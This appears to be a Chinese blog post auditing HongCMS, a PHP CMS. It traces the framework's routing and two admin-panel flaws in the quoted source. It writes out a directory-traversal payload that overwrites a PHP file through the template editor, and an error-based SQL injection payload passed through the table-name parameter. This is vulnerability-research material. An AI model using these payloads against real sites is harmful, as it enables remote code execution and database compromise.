前言:
hongcms似乎到4.0.0版本就停止维护了,可通过挂WAF来处理安全问题,小型的开发框架。
ubuntu 19
php5.6+mysql
phpstorm+burpsuit
写在前面:
还是和之前一样,根据POC,寻找漏洞触发的点,磕磕碰碰的,挺艰难的,题外话,今天下午一直在尝试在windows上远程调试linux上的cms代码,失败了,贼难受,一整个下午都不好过,早早地就停止学习了……,然后debug很重要,还会继续尝试,一定要熟练使用。
漏洞成因
这次的漏洞,主要都是由于过滤的问题,导致漏洞的出现,一个是代码执行漏洞,一个是sql注入漏洞。
漏洞分析
和之前一样,一套新的cms,一定要先分析其路由,看看是如何调用模块,以及每个函数是如何调用。
定位index.php
看到APP::run()
跟进APP::run()1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43/**
* 框架主方法 !!!
*
* @param string $path
* @return boolean
*/
public static function run(){
$splitFlag = preg_quote(self::$splitFlag,"/");
$path_array = array();
$path = isset($_SERVER['PATH_INFO']) ? $_SERVER['PATH_INFO'] : @getenv('PATH_INFO');
if(!empty($path)){
if($path[0]=="/") $path=strtolower(substr($path,1));
$path_array = preg_split("/[$splitFlag\/]/",$path,-1);
}
$controller = !empty($path_array[0]) ? $path_array[0] : self::$defaultController ;
$action = !empty($path_array[1]) ? $path_array[1] : self::$defaultAction ;
$app_file = self::$appDir . "controllers/" . $controller . ".php";
if(!is_file($app_file)){
self::debug("file[$app_file] does not exists.", $controller);
return false;
}else{
require_once(realpath($app_file));
}
$classname = 'c_' . $controller;
if(!class_exists($classname, false)){
self::debug("class[$classname] does not exists.", $controller);
return false;
}
$path_array[0] = $controller;
$path_array[1] = $action;
$classInstance = new $classname($path_array);
if(!method_exists($classInstance,$action)){
self::debug("method[$action] does not exists in class[$classname].", $controller);
return false;
}
return call_user_func(array(&$classInstance,$action),$path_array);
}
因为我们去点击主页上的每一个功能,比如新闻版块,url就变成这样,然后用debug调试一下,
会发现这个CMS调用每个模块的方法是hongcms/index.php/controllers/actions
登录后台,点击每个模块看一下,然后点击新闻添加模块
查看路由,会发现后台调用某模块下的某函数也是用同样的方法
代码执行漏洞
定位:./admin/controllers/template.php::save()1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19public function save(){
$file = ForceStringFrom('file');
$filepath = $this->temp_path . $this->current_dir . $file;
if (is_writable($filepath)) {
$filecontent = trim($_POST['filecontent']);
if (get_magic_quotes_gpc()) {
$filecontent = stripslashes($filecontent);
}
$fd = fopen($filepath, 'wb');
fputs($fd,$filecontent);
Success('template'. Iif($this->current_dir, '?dir=' . $this->current_dir));
}else{
$errors = '模板文件('.$file.')不可写! 请将其属性设置为: 777';
Error($errors, '编辑模板错误');
}
}
我们可以在在网站中寻找一下,这个功能何时被使用。
$filepath会先进入if (is_writable($filepath))进行是否可操作判断,那么也就是说,我们所选择的这个文件来自于系统内部。所以这里我们可以考虑使用目录穿越选择一个文件写入我们想写的代码等,抓包也可看到$filecontent来自于用户输入,可控。
跟进$file = ForceStringFrom('file');
1
2
3
4
5
6
7
8
9function ForceStringFrom($VariableName, $DefaultValue = '') {
if (isset($_GET[$VariableName])) {
return ForceString($_GET[$VariableName], $DefaultValue);
} elseif (isset($_POST[$VariableName])) {
return ForceString($_POST[$VariableName], $DefaultValue);
} else {
return $DefaultValue;
}
}
可以看到1
2
3elseif (isset($_POST[$VariableName])) {
return ForceString($_POST[$VariableName], $DefaultValue);
}
可见$file是可控的,接着跟进ForceString()函数1
2
3
4
5
6
7
8
9function ForceString($InValue, $DefaultValue = '') {
if (is_string($InValue)) {
$sReturn = EscapeSql(trim($InValue));
if (empty($sReturn) && strlen($sReturn) == 0) $sReturn = $DefaultValue;
} else {
$sReturn = EscapeSql($DefaultValue);
}
return $sReturn;
}
会发现,我们们传入的数据会经过EscapeSql()函数1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18function EscapeSql($query_string) {
if (get_magic_quotes_gpc()) {
$query_string = stripslashes($query_string);
}
$query_string = htmlspecialchars(str_replace (array('\0', ' '), '', $query_string), ENT_QUOTES);
if(function_exists('mysql_real_escape_string')) {
$query_string = mysql_real_escape_string($query_string);
}else if(function_exists('mysql_escape_string')){
$query_string = mysql_escape_string($query_string);
}else{
$query_string = addslashes($query_string);
}
return $query_string;
}
这里对文件内容进行html实体转义,以及过滤,反sql注入的处理。但是这个并不影响我们使用目录穿越,寻找可操作性文件。
构造如下文件名:1
../../../../phpinfo.php
$filepath在这里就是$filepath=/hongcms300/public/templates/Default/$file
我们控制了$file相当于控制$filepath:)
寻找一下,发现./models/user.php可以用于写入,用作测试,实际上除了,这个文件,其余的文件也是可以的。
构造payload1
2$file=../../../models/user.php
$filecontent = phpinfo();
sql注入
定位:./admin/controllers/database.php::EmptyTable()1
2
3
4
5
6private function EmptyTable($tablename){
$this->db->exe("DELETE FROM `$tablename`");
$msg = '已完成清空数据库表: ' . $tablename . '<br/>';
return $msg;
}
跟进exe()1
2
3
4
5
6
7
8
9
10
11
12
13
14
15function exe($query) {
$this->query_nums++;
$this->query_id = @mysql_query($query, $this->conn);
if (!$this->query_id){
$this->error("Invalid SQL: ".$query); //查询失败输出错误
}
if (preg_match("/^(insert|replace)\s+/i", $query)){
$this->insert_id = @mysql_insert_id($this->conn); //记录新插入的ID
}
$this->result_nums = @mysql_affected_rows($this->conn); //记录影响的行数
return $this->result_nums; //返回影响的行数
}
我们可以发现$tablename这里可能会有问题,然后回头去找,$tablename是否是我们可控数据,
定位./admin/controllers/database.php::operate()1
2
3
4
5
6
7
8
9
10
11public function operate(){
$action = ForceStringFrom('dbaction');
$tablename = ForceStringFrom('tablename');
switch ($action){
.... ....
case 'emptytable':
$this->PrintResults('数据库表清空', $this->EmptyTable($tablename));
break;
}
.... ....
}
根据之前的分析,我们可以知道$tablename,我们可控,而且这里的过滤做的不严谨
payload1
%60+where+vvcid%3d1+or+updatexml(1%2cconcat(0x7e%2cuser()%2c0x7e)%2c1)+or+%60
这里有一个被我忽略掉的地方,就是反引号1
$this->db->exe("DELETE FROM `$tablename`");
因为在数据库操作的时候,有些表名如果和关键字一样,比如select,from这样的词,所以操作表数据时,比如delete from delete
,用反引号。